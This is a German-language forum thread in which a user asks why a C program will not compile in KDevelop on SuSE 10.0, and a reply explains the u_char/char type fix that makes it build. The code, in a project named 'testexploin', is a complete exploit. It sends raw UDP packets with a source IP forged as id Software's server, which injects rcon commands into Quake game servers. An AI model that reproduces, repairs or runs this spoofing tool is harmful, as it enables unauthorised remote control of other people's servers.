KDEvelop Prob. bei SuSE 10.0

Hallo

Ic hhab mir vor kurtzem SuSE 10 Auf den Rechner Gespielt.Nun bei SuSE 9.3 ging KDEvelop ja aber bei SuSE 10 nciht wenn ich das hier:
Code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>                                                

#define SIP "192.246.40.42" /* vader.idsoftware.com */
#define command "ýýýýrcon tms "

u_long resolve_address(u_char *host)
{
	struct	in_addr	addr;
	struct	hostent	*he;

	if((addr.s_addr = inet_addr(host)) == -1) {
		if (!(he = gethostbyname(host))) {
			printf("Unknown address: %s\n", host); 
			exit(-1);
		}
		bcopy(he->h_addr, (char *)&addr.s_addr, he->h_length);
	}
	return(addr.s_addr);
}
int main(int argc, char **argv)
{
	int	s;
	int	port=27500;
	char	buf[512];
	struct	sockaddr_in dst;
	struct	iphdr *iph=(struct iphdr *)buf;
	struct	udphdr *udp=(struct udphdr *)(buf + 20);

	if (argc<3) {
		printf("usage:\n");
		printf("\t%s ip ""command"" <port>\n", argv[0]);
		exit(-1);		
	}	
	if (argc==4) port = atoi(argv[3]);
	bzero(buf, sizeof(buf));
	bzero((char *)&dst, sizeof(dst));

	iph->version=4;
	iph->ihl=5;
	iph->tos=0;
	iph->tot_len=htons(sizeof(buf));
	iph->id=htons(1234);
	iph->frag_off=0;
	iph->ttl=255;
	iph->protocol=17;

	iph->saddr=inet_addr(SIP);
	iph->daddr=resolve_address(argv[1]);

	udp->source=htons(1234);
	udp->dest=htons(port);
	udp->len=htons(sizeof(buf) - 20);

	dst.sin_family=PF_INET;
	dst.sin_addr.s_addr=iph->daddr;
	dst.sin_port=htons(27500);

	sprintf((buf + 28), "%s%s\n", command, argv[2]); 

	if ((s=socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		perror("socket");
		exit(-1);
	}

	if ((sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst))) <=0) {
		perror("sendto");
		exit(-1);
	}
	exit(1);}

Compilen möchte spuckt er immer den fehler

Code:
cd '/home/kevin/testexploin/debug/src' && WANT_AUTOCONF_2_5="1" WANT_AUTOMAKE_1_6="1" gmake -k testexploin.lo
Kompilieren der Datei testexploin.cpp (g++)
Linken der Datei .libs/testexploin.o (g++)
/home/kevin/testexploin/src/testexploin.cpp: In function 'u_long resolve_address(u_char*)':
/home/kevin/testexploin/src/testexploin.cpp:42: error: invalid conversion from 'u_char*' to 'const char*'
/home/kevin/testexploin/src/testexploin.cpp:42: error: initializing argument 1 of 'in_addr_t inet_addr(const char*)'
/home/kevin/testexploin/src/testexploin.cpp:43: error: invalid conversion from 'u_char*' to 'const char*'
/home/kevin/testexploin/src/testexploin.cpp:43: error: initializing argument 1 of 'hostent* gethostbyname(const char*)'
/home/kevin/testexploin/src/testexploin.cpp: In function 'int main(int, char**)':
/home/kevin/testexploin/src/testexploin.cpp:79: error: invalid conversion from 'char*' to 'u_char*'
/home/kevin/testexploin/src/testexploin.cpp:79: error: initializing argument 1 of 'u_long resolve_address(u_char*)'
gmake: *** [testexploin.lo] Fehler 1
*** Beendet mit Status: 2 ***

aus .

Warumm ist das bei euch auch so und wei bringt man KDEvelop richtig zum laufen?


mfg aslak
 
ich denke, dass da ein update des compilers gemacht wurde. dabei nimmt er das ganze ein wenig genauer mit dem automatischen casten.

wenn ich mir das so ansehe musst du einfach auf zeile 15 ("u_long resolve_address(u_char *host)") das "u_char" durch "char" bzw "const char" ersetzen.
 
Super geht ;)

automatischen casten? Kann man das wieder so einstellen das er das nicht mehr so genauer machen kann ?

Danke

mfg Kevin
 
Zurück
Oben